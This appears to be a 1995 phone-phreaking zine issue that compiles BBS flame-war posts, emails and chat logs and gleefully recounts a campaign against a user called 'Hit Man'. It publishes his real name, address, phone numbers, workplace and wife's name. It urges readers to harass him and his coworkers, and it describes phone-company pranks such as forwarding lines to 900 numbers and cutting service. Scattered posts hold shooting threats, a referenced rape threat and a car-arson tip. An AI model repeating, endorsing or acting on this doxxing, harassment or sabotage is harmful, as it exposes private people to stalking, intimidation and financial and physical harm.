Yes, he really got us. I REALLY put faith in a number he posted himself. Hey, Hit Man, i can shoot a chololate chip off the tip of your weiner from 100 yards! so ha!  hey butthead, gangs are cool or something. huh uhh yeah

48/78:

Name: Zensless1 #13

Date: Wed Jul 26 14:19:16 1995

RE: OK

BY: The Hit Man #27

I shouldnt sayt anything and just let you go into debt for the next decade of yourlife but you really dont wanna fuck with Zak or RBCP cause they will seriously fuck your little world over....

49/78:

Name: Redboxchilipepper #11

Date: Wed Jul 26 16:58:27 1995

Maybe we should give Hit Man Jack The Ripper's phone number. JTR used to have the same attitude towards us.

54/78: Some more

Name: The Hit Man #27

Date: Thu Jul 27 19:25:06 1995

Did you read that post! See how stupid it is, REALLY! Just do it! Blow up my house?Fuck my wife?into debt because of Zak or RBCP?  Just do it! Heres your point to show all of us in BBS Land what you are made of! Come on pussy! Will that give you some more reasons!

63/78: no hard feelings.....

Name: The Hit Man #27

Date: Sat Jul 29 01:15:53 1995

I want to ask a question though....WHO IS RBCP AND ROY? And who is THE PLA? I just would like to know....Well I guess I will see you all around...

66/78:

Name: Zensless1 #13

Date: Sat Jul 29 09:44:28 1995

You will find out soon enough....

69/78: let's see..

Name: Apok0lyps #5

Date: Sat Jul 29 10:41:04 1995

You scream and yell, threaten everyone here, and people are supposed to tell you where/invite you to their party?? I think not. Disturbing shit is all fine and well, but noone wanting you around them is the price you pay.

Oh well, gotta sleep, had days keggin on the morrow.

70/78: You

Name: The Hit Man #27

Date: Sat Jul 29 16:38:17 1995

You are the ones calling me names! Bring your threats to reality! You are the ones who invited me and now will not tell me where it is! Just like kiddies, ALL TALK!! Keep on talking, I guess you guys are good at it. I got work to do-Month End-Be back when it slows down!

71/78:

Name: Redboxchilipepper #11

Date: Sat Jul 29 22:50:39 1995

Hitman, read the issues of PLA and you'll have a pretty good idea of what's in store for your future. And then some.

Name: Redboxchilipepper #11

Date: Mon Jul 24 23:55:04 1995

So, somebody post Hit Man's info so I can get te remote access call forwarding set up and going to 1-900-999-GINA.

7/21: la la la

Name: Master #23

Date: Wed Jul 26 00:49:01 1995

Name: The Hit Man #27

RN  : Greg Carson

Strt: 140 Ludwig Drive

City: Fairview Hts, IL  62208 (USA)

PH  : 618-398-7124

Datp: 618-398-7189

Age : 21 M  (12/18/73)

Comp: Other

PW  :

Last: 07/25/95   07/18/95

Msgs: P=31 E=4 F=5 W=5 D=0

Log : 20  0  I=0

UpDn: U=0=0k   D=0-0k

Baud: 14400

SL  : 60

DSL : 60

Uedit :

[That was the information that Hit Man put in his account on Martini's BBS. After finding out that Greg Carson had put down his real work number, I gave directory assisstance a call to get his home phone number, got some other basic info, turned it into an ANSI and posted it a few times...]

Phone Losers of America Special Report

The Greg Carson Fan Club Newsletter!

July 30, 1995

Work Information:

Fairfield Inn, 140 Ludwig Drive, Fairview Heights 62208

618-398-7124 or 618-398-7189

He works there in the mornings. When he's not working, annoy the boss & other employees. $59.95 a night/single? Ripoff!

STAY TUNED FOR MORE UPDATES WHEN WE GIVE AMERITECH A CALL TO REVEAL ALL OF HIS PHONE ACCOUNT INFORMATION!!!

Home Information:

Greg & Carolyn Carson (wife)

34 Concord (he OWNS it! :), Fairview Heights, IL

618-394-1774

Other Information: Hitman's brand of computer is a Smith & Wesson, his wife is extremely overweight and wears hair curlers,his wrotweiler's name is FiFi and Greg likes to put on leather and take him for walks.

73/78: Alright Free Advertising

Name: The Hit Man #27

Date: Sun Jul 30 14:22:13 1995

Yes The Fairfield Inn by Marriott in Fairview Heights! Go stay, WEll I guess you POOR boys cant stay there! WEll there is the trailway motel in Fairview for you!

77/78:

Name: Zak #4

Date: Mon Jul 31 02:57:58 1995

Nice fucking try hit man. We love you! You've been victimized by the PLA! Oh yeah, tomorrow, I'm carding a room at the Fairfield Inn and I'm going to steal a towel..

8/21: Personally,

Name: Martini #1

Date: Wed Jul 26 01:04:47 1995

I don't know why he thinks he is so cool... Oooooh wow, a $60,000 house, yipee, our house cost $220,000.  He's probably just trailer trash bull shitting his way around to boost his ego.  Most likely he has low self esteem and calling people childish names, and other frivolish words makes him feel strong, so just let him do his little thing.  People get their kicks in awkward ways.  Although his isn't awkward, it's just flat out pathetic.  Hey hit man, you should go to this party coming up on Saturday, then see how tough you are...  It's just an invitation, not a threat.

Name: Redboxchilipepper #11

Date: Wed Jul 26 17:02:00 1995

Bring your gunz, hit man, you hillbilly!

Name: Spastic Chicken #2

Date: Sat Jul 22 11:56:19 1995

shut up you stupid, harmless, low-life fuck...

4/28: HA HA HA

Name: The Hit Man #27

Date: Sat Jul 22 13:23:32 1995

Look at yourself-Your the STUPID LOW-LIFE!!!!

Find me please and then have a 9mm hole in you!!!

NO I would rather you desroy something and then have you ASS thrown in Jail-That would be KICK-ASS! Yeah thats my Plan

5/28: Question for all My loves

Name: The Hit Man #27

Date: Sat Jul 22 13:27:28 1995

Does anyone else like PISSING people off? I love it- Making people so MAD Getting under there skin, Knowing that they are being plotted and talked about in ways to hurt him(me)I love it that you all are being so kind and talking about me. I bet you all get together and say-Lets blow his cars up, destroy this, hurt him-I got insurance-I also have friends-Yes me The biggest DICKHEAD! I have loyal friends! Thats why I am the HIt Man!  Thats is why I am An Asshole to......WELL ASSHOLES!

Respect is earned NOT GIVEN!!!!

7/28: Play with myself

Name: The Hit Man #27

Date: Mon Jul 24 14:25:04 1995

I will repeat again-HOw old are? I am only 21-ok 21

I am very proud of myself! I have went through more changes with my lifestyle in 5 months that it will take you 10 years!

So you see YES I am cool! You know it! The Elite(you will always think of me)

9/28: good

Name: The Hit Man #27

Date: Tue Jul 25 20:21:03 1995

Good Im waiting! YOu people should stop before it gets out of hand! I will shoot you! Dont Fuck your life up because of me! Chill out!

Fucking LOSERS!!

10/28: Heh, I'm laughing at you..

Name: Martini #1

Date: Wed Jul 26 01:08:31 1995

Posting that, is a very big mistake, on your part.  The stupidity of some people overwhelms me.  Please, keep going, you entertain me like no other can possibly do.

13/28:

Name: Redboxchilipepper #11

Date: Wed Jul 26 17:03:02 1995

Are you going to fly down here and shoot me, Hit Man? I'll  give you my address.

Name: The Hit Man #27

Date: Thu Jul 27 19:45:37 1995

I will be coming down there in about 2 or 3 months ok E-mail it to me!

17/28: Where is the party

Name: The Hit Man #27

Date: Thu Jul 27 19:47:36 1995

I need to know where the party is! I hope I can get on here to find out where it is....I could not get on long enough the other days to read a anything. Just kept logging me off, Sorry about after the 10th time you get sick of trying.

Try and call back later on Friday to see where the party is..

18/28:

Name: Zak #4

Date: Fri Jul 28 11:38:54 1995

Right? You think we're gonna tell you where the party is after you're showing your iq as 12 and being manly and threatening to shoot people in the butts?

4/15: Welfare SUCKS

Name: The Hit Man #27

Date: Thu Jul 20 22:58:55 1995

Section 8 housing to be specific! One of my friends has a 250,000 dollar house but cant sell it even at 125,000 and was willing to get rid of it to me for just what he owes(around 89,000) Down with them all!!

16/20:

Name: Redboxchilipepper #11

Date: Wed Jul 26 17:04:28 1995

Yes, he certainly does have friends, he just has to loan them all money to keep them. Nobody will be his friend unless he takes them out to eat and buys them stuff.

17/20: Sure

Name: Dark Shadow #14

Date: Thu Jul 27 03:04:09 1995

why not, after all, "Big Bad Hitman has lots of money. Hit man can buy life."

uh, huh, "Taz hate Water!!" too...

6/11: Digging my grave

Name: The Hit Man #27

Date: Sun Jul 30 15:20:37 1995

I just keep digging myself a bigger hole everytime I call-I just will have to be stopped by some force! A big box of pepper should do it! HA Ha Ha

See I just cant stop! What should I do? I need help! No one can do anything about it! I am who I am! An Asshole to Assholes!

My job is to PISS you all off and I think I will have to retire after this job....I am doing to good of a JOB!!!

9/11:

Name: Redboxchilipepper #11

Date: Sun Jul 30 18:50:40 1995

By the time it's over (will it ever be over now?) the Hit Man will be sorry that he started all this. You don't really NEED that bank account do you, Greg?

(1/1): Hello

Name: The Hit Man #27

Date: Sat Jul 29 01:58:47 1995

What did I do? I just would like to hear it from your own words,

Please be honest-dont say because your an Asshole, Fuckhead...etc

I want to know what I did! Why are YOU so mad, or maybe your not mad but what did I do that was so bad? I did not brag, everyone was telling me I was cool so I agreed and showed them how cool I was. Whats wrong with that?

Wheres the party? My dogs are tough tho, but a gun does do a better job!

Wheres the party? no one will tell me!

[I guess finally he'd had enough and asked Martini to delete him...]

(2/2): Delte me

Name: The Hit Man #27

Date: Sun Jul 30 19:58:16 1995

I want to be deleted!

[But she didn't delete him and the war just kept going on...]

34/35: You know..

Name: Martini #1

Date: Tue Aug 01 18:29:59 1995

You guys want to know how much of a man hit man really is?   He says, go ahead, i'd like to see you fuck with me.  Then everyone fucks with him, and he runs to the police or FCC who ever and crys.  No only that, but he is so much of a man, he had his wife call my house.  Not him his WIFE.  HAHAHAH, that's a real man if I've ever seen one.

37/39: crys

Name: The Hit Man #27

Date: Sat Aug 05 12:31:04 1995

I wasnt crying, My wife called you on her own! I wasnt even there.

See I want you to realize something-Every action has a reaction!

Did you think I would stand by and do NOTHING! I dont have anything against the PLA or anyone of you BBSers. You did something and I did something.

I am not going to do anything else, I should act my age and not bring myself so low. Yes I was being immature. So what-You are doing the same thing, but thats not right, I will stop and I have stopped. I just want you all to  realize that.

C-ya

38/39: No..

Name: Martini #1

Date: Sat Aug 05 20:51:41 1995

I wasn't being immature.  I was not pranking you, or chatty or whoever.  I don't know how your lovely wife even got my number, I don't know why your wife even had anything to do with me.  Of course she didn't.  But I think she's very manly.  Especially when she hung up on me.

39/39: She isnt here

Name: The Hit Man #27

Date: Sun Aug 06 07:39:34 1995

Shes not here to defend herself but I dont know what went on. Whatever happened already happened. Its over, who cares. Life goes on.

-She told me you hung up on her- Whats it matter Martini-forget it

33/34: ok Let me clear some things up now

Name: The Hit Man #27

Date: Sat Aug 05 12:20:08 1995

The people I saw on welfare where drinking outside there house and would be up at midnight drunk walking the streets. NOt everyone on WElfare is doing it but some are. Another thing I did work for a farm(Keller farms) and would 10 hour days. Horse Radish fields, hay bails, etc... Also I know what hard work is! I was in A Bootcamp for 4 months where I chopped down trees for 8 hours-I got blisters at first but not after a few weeks of it. Hard work got me to where I am today! Making you all mad was that one part I still need to work on, I like pissing people off and it I a part of me I dont like, It may

34/34: It may

Name: The Hit Man #27

Date: Sat Aug 05 12:22:39 1995

Getting too long....It may have something to do with my job, Always being nice and hearing people bitch all the time but I am who I am.  Well I guess I will talk to you later. C-YA

[Notice a slight change in attitude from just a few weeks. You can feel him beginning to break down... For some reason, Hitman kept e-mailing me as unknown. Here is a poor attempt at an apology by him in private e-mail on Bogus Journey...]

(1/1): No Im sont

Name: >UNKNOWN<

Date: >UNKNOWN<

I mean no Im not! If someone came to my house they would be, but I never threatened anyONE! I want to say Im Sorry for whatever I did to YOU RBCP- Im sorry-ok-Im not looking for anything in return but I just want you to understand that I guess Im just too GOOD at the BASHING SUB-

Boy did I piss somepeople off just by bashing them on a BASHING SUB!

Well I guess I will talk to you soon.

C-YA

[He's not sorry, he's just sick of us harrassing is co-workers.  And my reply...]

[---=----=----=----=----=--=----=----]----=----=----=----=----=----=----=----]

Private annonymous e-mail isn't good enough. A public post, preferably on Martini's BBS, at LEAST one paragraph long and apologizing not only to me, but Martini, the PLA(H) and everybody else you threatened.

40/40: so the hit man decides to finally call back...

Name: Redboxchilipepper #11

Date: Sun Aug 06 09:26:18 1995

I thought he'd just contiune to be sneak and fool us by calling in as the Pepsi Man, but I guess not. It certainly is amazing how his attitude towards us has changed in just a few weeks. He can be as nice as he wants to now, but I still remember the posts that said, "FUCK YOU BABIES! Bring it on, I'll fucking shoot you all! You're all talk! You'll never do anything. You'll never get my info. I'm flying down to Texas to kill you both!" Hmmmm, should I show mercy? I think not. Have a nice life, Hitman. You know you're lucky that the Ameritech office is so busy lately and I'm too impatient to sit around on hold for you. But just wait... You made a major mistake.

Perhaps a public apology, a few paragraphs long, similar to STB's would change my mind...

49/50: My conversation with Mrs. Hit Man.

Name: Martini #177 @6851

Date: Mon Aug 07 01:41:29 1995

Mrs. Hit Man: I have a proof that you've been pranking me, blah blah blah, hacking bbses blah blah blah, 42 calls have orginated from your house telling me that my husband will pay, blah blah blah.

Martini: go to hell

Mrs. Hit Man: OH that's it, I'm calling the FCC NOW! (click)

It was amusing.

50/50: who has 42 calls

Name: The Hit Man #370 @6851

Date: Mon Aug 07 17:24:22 1995

I will not go to your level and prank you! If(And I am Saying IF)

I did anything it would be to go to your house and shit on your face!

Again it IF I did anything witch I wont-YOu are not worth my time anymore ok Budweiser! Hasta Manana

Enter message now, max lines are 60

Enter '/HELP' for help.

[---=----=----=----=----=----=----=----]----=----=----=----=----=----=----=----]

Nope, that's not it, Hit Man. It's not that you don't want to go down to her level, it's just that you know whatever you do will come back on you 100 times worse. That's really it, isn't it? You know, for supposedly being 21, you're not that bright.

[Finally, on August 7th, he called my bbs under the false alias of Marlboro Man and we got to chat, face to face...]

ME: Why?

HM: I have no reason-just wanted to ask what yoyu where talking to me about earlier when I couldnt respond

ME: I was just trying to annoy you but you put me on hold on two lines at once. That's never happened to me before.

HM: I am sorry it gets busy around here-like right now I am on the phone with one of my guests

ME: I could help you! I'll forward all of your calls somewhere else so somebody else can answer the phone for you. Deal?

HM: Well I cant do that then I will lose alot ob business

ME: No you won't, I'll talk to your customers for you! I'll get things straigtened out over there.

HM: Ok sure no really I wish I could but it wouldnt be good,

ME: Well, I like surprising people and maybe I'd do it anyways just as a surprise to help you..

HM: Wow you will help me-WHY?

ME: I'm a nice guy.

HM: I am sure you are-but I got the wrong impression then-I thought you didn’t like me?

ME: Of course I like you. I just think you should go public with a big apology to everybody and that would settle everything!

HM: Well I am not the only one that should be apoligizing then, What about all the bullshit eveyone else said,  I was only responding back to them

ME: Well, how about a big public apology to me then for threatening to fly down to Texas and rape my girlfriend and shoot me?

HM: Ok I am sorry about that=-I went balistic for a min. That was over the phone

ME: I know it's over the phone I still have the recordings. Anyways, I was saying a PUBLIC post apology and I might leave you alone, just like Scott.

HM: You have me email-why not post it-You must have captured it

ME: Of course, but it wouldn't be as personal.

HM: ok I gotcha I will apologize to you personally, it wasnt a cool thing to do but as for everyone else they need to apologize to or I will just stop its over and done with but I will apologize to you public to show no hard feelings

ME: On Martini's bbs too. And the other people who've bothered you have nothing to do with me. They can prank you, but I can send your calls to Sweeden or turn off your line or ship toilets COD.

HM: I understand-pranks are no big deal I have *69 or traceing going on, wont work for you since your out of state but I can deal with it, I will say sorry to you and to your girlf=riend- also how did youu know this acout was me?

ME: It was quite obvious. But the dead givaway was when you accidentally used the password UBITCH one day.

HM: oh yes I remember, well I have so many I didnt know what I used, Good memory how did you know that password, Martini TOLD YOU- SEE that is bogus-for real

ME: What's bogus? I have sysop access there.

HM: Nevermind, I didnt know that, Nvermind- I see you got your own sub now

ME: Of course, I made it myself this morning out of boredom. I have to go wax my shoes now.

[Looks like he was about to go off about sysops giving out personal info and try to say I'm no better than Scott The Believer until I told him I had sysop access there. UBITCH is the password he used on Cocktail Lounge and he accidentally used it on his fake account on my board so that's what he was talking about there. A mere 15 minutes later, I called Martini's BBS to find the following public post...]

Name: The Hit Man #27

Date: Mon Aug 07 20:21:13 1995

I want to apoligize to RBCP and his girlfriend for some things I said over the phone.  I was having a bad day I guess and will publicly say IM Sorry. Also I want to say Sorry for some of the things I said to RBCP over posts. The Bashing got pretty heavy and I think it got out of control. Talk to you all Later

[Here is what I replied with...]

Ha, what a dork. He thinks it's that easy just because it was for Scott The Believer. That little chat session you had, Hit Man, was with my eight year old little brother and I beat him up for making you think that'd I'd actually ever leave you alone for a minute. Wait, I don't have an eight year old little brother so that must have been me.

Nah.... I don't thinkthat apology sounded very sincere. I think not. Nope, Hit Man, you're in for a life of misery. Sorry, no soap. Maybe next time you won't be so stupid. I'll upload a copy of my chat log with Hit Man in it and the funny e-mail he sent me on here after he wrote this message so everyone else can enjoy it, too. He actually asked me to erase his info from when I posted it awhile back. Hmmmm, let me see if I can figure out the commands to do that.

[Then, just to be mean, I accidentally post that ANSI again with all of his personal information on it. When I had first logged on there, I had gotten the this mail from Hit Man...]

(2/2): ok I got one request

Name: The Hit Man #27

Date: Mon Aug 07 20:11:55 1995

Please Delete my info posted on the 2 subs(or anywhere else you posted it)

The HIt Man

[And the Hit Man story has ended. Not exactly a good apology compared to Scott The Believer's, but hey, he tried, right? I really have no intentions of spending all my free time bothering this guy so Hit Man, don't worry about me unless I get REALLY bored. Apology not accepted, I just have better things to do. It's hard to believe all this shit happened in just a few weeks... (Five bucks says nobody is still reading this issue because they all fall asleep by now...) Now get ready to log on to the lamest bbs system you've ever seen. The lamest in 618? Yes, but worse...It's the lamest bbs in the entire WORLD. I CHALLENGE anyone to find a lamer bbs than the one you're about to see and send me captures of it. That's a DARE!]

TH� äXiœä welcomes you to TWi$TäD RäAœiTY  (The Elite Phreekers of 618...)

úWARNINGú úWARNINGú úWARNINGú THE SYSOP OF THiS BBS iS NOT RESPONSiBLE FOR ANY DAMAGE DONE TO YOUR SYSTEM. ALL E-MAiL ON THiS BBS iS ViEWED BY THE SYSOP AND POSSiBLY OTHERS. ALL FiLES ON THiS BBS ARE FOR ENTERTAINMENT PURPOSES ONLY. OWNING THESE FiLES iS LEGAL, THE USE OF THEM HOWEVER, IS NOT.

Do not upload commercial software

Do not upload a virus or trojan horse file without telling me

Do not annoy other users and expect them not to annoy you back

Do not hold the sysop responsible for damages to your computer or your actions after reading anything on this BBS. This means, if you read how to blow up a house, don't do it. This BBS is for informational purposes only.  In yer feedback to -=LaXVaXEN=-, please include the following  information. If you do not include this information, chances are yer gonna be deleted! INCLUDE:

¯ Your Three Newest Software Titles

¯ Your REAL phone number, (You will be voice validated!)

¯ Any Groups you are associated with

¯ Other handles of yours

¯ What you are looking for (Messages, Files, Whatever!)

¯ Two other boards and their phone numbers, (HPaVC)

Include this crap and you'll be fine. Unless of course I decide you don't have the potential of being a good user, in which case you will be deleted...

WELCOME! TO GET INSTANT ACCESS TO SOME OF OUR FILE AREAS USE CALL-BACK VERIFICATION BY TYPING 'X' AT THE MAIN MENU. FOLLOW THE MENUS FROM THERE.

Hello! Welcome to TWiSTED REALiTY BBS. This is most likely your first time on the new BBS. We were previously known as the Hackerz Union. The board was popular, however, we had our problems. Now we are back with OVER ONE GIGABYTE of files. The topics include: Hacking Phreaking Anarchy Virus Cracking ANSi

And there is much, much more! We encourage users to upload as well as download. To get access to some of our file library, please use call-back verification located in the external programs section of the BBS. The system uses a credit system, so please upload rather than just asking for credits.

Currently there are three membership plans:

-NEW USER: 20 minutes\day

3K free credits\day

Access to our small HD library

-STANDARD USER: 120 minutes\day

10K free credits\day

Access to larger file areas

-VIP USER: 180 minutes\day

15K free credits\day

Access to all files

RULES:

1. Go to USER BASHING to post flames.

2. Do not upload virii or trojans.

3. Attempting to hack this BBS will result in imediate and permanent deletion of your account.

4. You must give us a correct phone number. Otherwise, no access for you!

5. HAVE PHUN!!!!

[Feel the cheese, feel the lameness of this total wanna-be phreaker bbs. I ask you, what kind of real phreak bbs voice validates their users?? I've bbsed all over the country, seen just about every level of lameness you can imagine, but this is absolutely the worst "phreak" bbs I've ever come across, even worse than my own. And the sad thing is that I had a hard time getting access to it and I finally had to resort to using a fake alias. A few years ago I had called this board when it was called The Hacker's Union and it was sort of lame back then but at least the sysop didn't try to mislead everyone into thinking it was a big-time hacker bbs.

The sysop's name is Phillip Wool, alias Mr. Hack aka L�XV�X�N and totally not liked by pretty much the entire 618 area code. I was at one time last year) considered a "good citizen" but just to see if I could stir things up, I left Zak a piece of e-mail on his bbs:

Attr : Read

To   : Zak #19

From : Redboxchilipepper #59

Date : Sat Dec 10 1994 02:22 pm PST

Hey, Zak, I think I've just about had it with this board. First, the sysop, Mr. Hack starts hacking the users' accounts and now he's switching to lame VBBS and not giving you access. Mr. Hack's lame questions about ESS are more than annoying. I think maybe I'll call the Ameritech billing office there and shut off his line, his parent's line and his grandparents line. Then I'll blow up his house. Gee, I hope he's not watching right now. Man, this is about the lamest, wanna-be hacker board I've ever seen in my life. "Hey, RBCP, keep uploading those k-k-k-k-kool text files 'cause you seem to know what you're talking about" Stupid Mr. Hack. Let's set his dad's car on fire. A wire from the back tail light into the gas tank does wonders.

Oh well, talk to you later. I'll probably call back this lame board again tomorrow just for the comic relief. Later! *RBCP* Roy!

[Heh, looking at the date in that mail, I realized that I wrote that mail while I was in Austin, Texas from one of the pay phones in the airport. A few months before, while I was living in Portland, Oregon, Zak had called up the phone company and ordered Call Waiting on Mr. Hack's board line. Normally a sysop (even a stupid one) would figure this out within a day, but it took Mr. Hack over a MONTH to realize what someone had done. Even with all the users, including myself,  sending him pissed off feedback asking why we always get hung up on when we call. It wasn't until his phone bill arrived with that extra monthly charge on it that he figured something wasn't right. After he'd figured out that I'd turned on him, he deleted me and blacklisted my alias from his board so I send him netmail from another system:

[=========================]

Hi Mr. Hack!

Hey, did I ever tell you that I'm thinking of becomming a psychic? Let me try this out on you...I predict a horrible twisted fate on your fone line. It will happen soon and would have already happened but somebody has been too busy lately doing other bad things....I'm pretty good, eh? I should get my own 900 number? Better yet, get YOU a 900 that I could have access to and you can't.

*RedBoxChiliPPepper*

[Right after I wrote that, he e-mailed Andromeda (the sysop of Bogus Journey) and asked her if he could have all of the personal info she had on me. She was amused by this and forwarded the mail to me. After all that I kind of lost touch with the whole Mr. Hack thing until just last month when someone told me that he was "wanting to get Zak and RBCP because they're always making fun of me." (I don't think this issue is going to make him too happy then.) So here's what Mr. Hack's new & improved phreeker board looks like. We'll start with the user list...]

Beastie #13                     East Alton, IL                07/23/95 Locally

Bucky The Wonder Plumber #12    Belleville, Il                07/24/95 14.4/V32

Catfish #15                     Cahokia, Illinois             07/31/95 14.4/V32

Chewbac #18                     Collinsville,il               07/27/95 14.4/V32

Death Mage #4                   Belleville, Il                06/10/95 9600/V32

Dim #25                         , Ha Ha                       07/31/95 14.4/V32

Eight Ball #8                   Troy, Il                      08/03/95 14.4/V32

Fed Clad Madagascar #29         Highland, Illinois            08/03/95 14.4/V32

Fiberflow #28                   Troy, Il                      08/02/95 2400

Guest #5                        Unknown, Unknown?             07/11/95 9600/V32

Jay #26                         Scott Afb, Il                 08/03/95 9600/V32

Joe Shambro #3                  Granite City, Il              08/02/95 14.4/V32

Kermit #21                      Belleville,Il                 07/30/95 14.4/V32

L�XV�X�N (EXiLE) #1             Belleville, Illinois          08/02/95 Locally

Meteor Man #11                  St.Louis,mo.                  06/27/95 14.4/V32

Mr.Park #17                     Alton,il                      07/30/95 14.4/V32

Mr.Xerox. #24                   Bethalto,ill                  08/03/95 14.4/V32

Mr.Xeroxÿ #22                   Bethalto,ill                  07/30/95 14.4/V32

Primo Pyro #7                   Belleville, Missouri          08/01/95 9600/V32

Raistlain #9                    Belleville, Il                08/03/95 2400

Richard #23                     Fairview Heights, Il          07/30/95 14.4/V32

Subliminal Chaos #6             Dunno, Dunno                  07/09/95 14.4/V32

Teknorat #10                    Florissant, Mo                05/24/95 2400

Thraka #16                      Belleville, Il                07/28/95 Locally

Thä Pí�¤t #2                    Alton, Illinois               07/27/95 Locally

Wild Bill #20                   Fairview Hts, Il              07/28/95 14.4/V32

[It has always been my opinion that any phreak bbs with any kind of status should never be allowed to have a user who goes by the alias of Bucky the Wonder Plumber. Note how elite they are by using only the lower case i's when they type in all caps! And their user list boasts users from as far away as Florissant, Missouri. (Right across the river) I logged on as a new user under the name of Brain Strats and the alias Fed Clad Madagascar (and yes, Chris Tomkinson, I ripped that off from YOU!) Here's the feedback I left...]

*NEW USER*                                  Age/Sex/BD   : 20 M 12/12/74

Real name : Brian Strats                    Phone number : 618-654-9044

Computer  : IBM 486dx VGA 500 megz          Modem type   : 14.4/V32

Hi, I'm calling you from highland. I'm looking for files called PLA because I heard there was some sort of story on highland in there. Have you heard of it? Do you know how to get axcess on Roy's place? The sysop there wont give me axcess but i don't know why. He seems like a dick. I'm really into the phreaking thing and i used to hhack but lost my phhone line and hhaven't much gotten into it lately. so i'm sort of behind the times. I have a recording of pay phones tones that lets me get free calls on some pay phones in town, but not all of them.

hhmmm, what else? Not much, I'm 20 years old and looking for contacts, I guess. do you know a way to dial long distance for free? I think this call costs money from highland, but I'm not sure about that one. Also, have you ever heard of me? I haven't bbsed in over a year and I mostly called Fantasy Island and Tower of power. I don't know of any other hpvac boardrs. there's NO bbses in  Highhland. it really sucks here. I don't have many warez, just a few games but they're not exactly 0day. I'm more interested in getting to know the switching systems in your town. Ours is lame, very old and outdated but at least we have caller I.D. (before you guys even did!) ha! catch ya later!

ohh one more thing...I have lots of anarchy/hhack/phreak files that I got from a board in st. louis awhile back. They're sort of old but could be good for historical purposes if you want.

[I tried to go for the innocent, good guy type of attitude. Soon after I logged on he broke in for chat (always home, go figure!) and started asking me questions about myself. He said before I was validated he'd have to talk to me voice and I told him that I'd tapped into the line of the hair salon downstairs and was using their line so he couldn't call me voice and the dork actually believed me! I turned on the capture file half way through the chat so here's more or less what was said...]

(chat mode with Mr. Hack, already in progress...)

I think it's because i'm actually in GTE territory and we're on an old crappy switch still. I heard you guys got upgraded a couple years back but I didn't hear which kind of switch. Do you know if it was 5ESS?

Yes, I believe thats it! YOu seem to know of phones fairly well, am I speaking to a phreek?

[Of course, he has no idea about anything to do with switches, he's just read about the 5ESS in all his "anarchy files" and recognized the name.]

But of course. I really haven't been into it for a long time. my friend started my interest because he had a blue box that really worked but they're trash now. I have a tape recording of red box tones that I use all the time for LD from pay phones. (it's loud but it works!)

I can't get a tape recorded tone to work, but when you drop a quarter in the phone with the volume up all of the way, you can here the CHirP!-CHiRP-CHiRP-CHirp-... I swear!

Yeah, it's like that on a few phones around here. you're not supposed to be able to hear that but you do.

I tried building a redbox with a tone dialer, but phucked up when soldering, a and now I have a 15.00 peice of-crap-tonedialer, and a boken 6.5536 MHz crystall.

[This guy actually bought the $15 model?? Good luck with those nickels!]

Those actually work? I heard about those but thhought the article was bullshit. you could just put the tone dialer together and say it doesn't work and they'd probably give you a new one.

Problem is, everything is on a computer.. they'd send it back, see that it had been tampered with, then give me a call. I wouldn't get away with it. My phriends think I'm paranoid. my being paranoid will save my back! I mean, you can't live dangerously forever.

True, better paranoid than caught.  Like uh, you could buy a new one under a false name and take THAT one back. I dunno, just buy a new one a try again i guess.

Oh. well, I am probably John Q. Mostpopularcustomer at radio shaq. They like for me to come in, cause I always buy a shitload of expensive electronics.

[I almost lost it right there. I just wanted to tell him right there that he was stupid, but I held back. He finally decided that since I'm so "knowledgable" about them phone, he'd give me access to see the messages and to download those froody PLA files I'd heard so much about. My main concern was finding a lot of posts that I could capture and laugh at but nobody posts there. Well... there's a few that are worth seeing, but not much. Each sub had a total of about five posts. The only sub that had a lot of messages in it was the System Announcements sub. So here they are. To conserve space, I took out most of the indents, spaces and signatures.]

Subj : Let's Get the subs going!

From : L�XV�X�N (EXiLE) #1

Date : Mon Jul 31 1995 12:21 pm CDT

I will award every GOOD post with credits. Also, advertise the BBS. We need more users to get more files and better posts.

Subj : Primo Pyro

From : Primo Pyro #7

Date : Mon Jul 10 1995 12:13 pm CDT

I am the ultimate PYRO! I just thought I'd let you know...... okay bye!

Subj : how to hack the sysops computer

To   : All

From : Kermit #21

Date : Sun Jul 30 1995 12:07 pm CDT

you need

1)a ladder

2)a axe

make friends (suck up like hell) with the sysop. so much that he either gives tou his address or invites you over. a while later, keep track of when his family member and him leave.

watch the house untill they all leave.

as soon as they leave, use the ladder to klimb into one of the windows.

if his room is in the basement, go through the upstairs window anyway( it's funner that way) now, go into the room where he keeps his computer(S)

and HACK EVERYTHING WITH THAT BIG AXE (computers,moniters,MODEM,disks his cosz chair ect.) then

go home and call the bbs to see if it is still running. (unless your totally stupid, and don't know what your doing, the bbs won't work

[You know, it amazes me to no end how much that post resembled PLA001.TXT I don't know, me and Kermit must be on the same wave length.]

Subj : Let's get this started: Sending fake mail in UNIX

From : L�XV�X�N (EXiLE) #1

Date : Thu Jul 27 1995 02:05 pm CDT

I have a small script file that allows the sending of mail with a fake sender in UNIx. It does not work, however. If anyone has experiance with UNIX script programming, please tell me, I need someone to take a look at it, so we can figure out whatz wrong.

LŽXV�XEN

Subj : PHReeeKeRS   [<-- Notice the eLeeet WaY he Speeeellz!]

To   : All

From : Primo Pyro #7

Date : Sat Jul 29 1995 01:12 pm CDT

If there are any *REAL* PHReeeKeRS on this board who are interested in joining a SYNDICATION... e-mail ME, PRiMO PYRO. You will be hired by our clients to do certain sabotage jobs dealing with phone lines. More than likely you will be paid for these jobs. Any questions or if you wanna join... e-mail me!

||\\ //||

||     || ETALLiCA RULeZ!!!!         ±±²²³³PRiMOøPYRO³³²²±±

[Oooooooooo! Shouldn't that be SYNDiCATiON with lower case i's? I like the way el_jefe put it best: "These guys seem to think that phreaking mostly deals with blowing things up."]

Subj : Boxes

To   : All

From : L�XV�X�N (EXiLE) #1

Date : Sat Jul 29 1995 02:47 pm CDT

Contact CCVERIFIER on AOL for information on buying boxes. 20$ to 150$ price range. contact him at CCVERIFIER@AOL.COM I just thought I'd tell you all about this.

[ "Real Phreakers who buy AOL accounts! Next on Geraldo!" ]

Subj : ......

From : Eight Ball #8

Date : Sun Jul 30 1995 02:51 pm CDT

This board is kind of gay.

[Way to go, Eight Ball! He eventually got deleted for that.]

Subj : Eightball.

To   : All

From : L�XV�X�N (EXiLE) #1

Date : Sun Jul 30 1995 09:27 pm CDT

Well, letz see, you don't post, and hardly upload... Maybe it is not the board that is gay. just wait until we get more users. It's only been up fer less than a week!

Subj : ANaRCHy iZ my FRiEND!!!

To   : All

From : Primo Pyro #7

Date : Sat Jul 29 1995 01:16 pm CDT

As I said before in the PHReeeKeR section of the posts... We are starting a SYNDICATION and if you are interested in joining, e-mail me, PRiMO PYRO. You will be hired by others do sabotage things and prettty much reik HaVoC!!! It will be fun and you will more than likely get paid for the job you do. Look for further info on this message base and post any questions or comments.

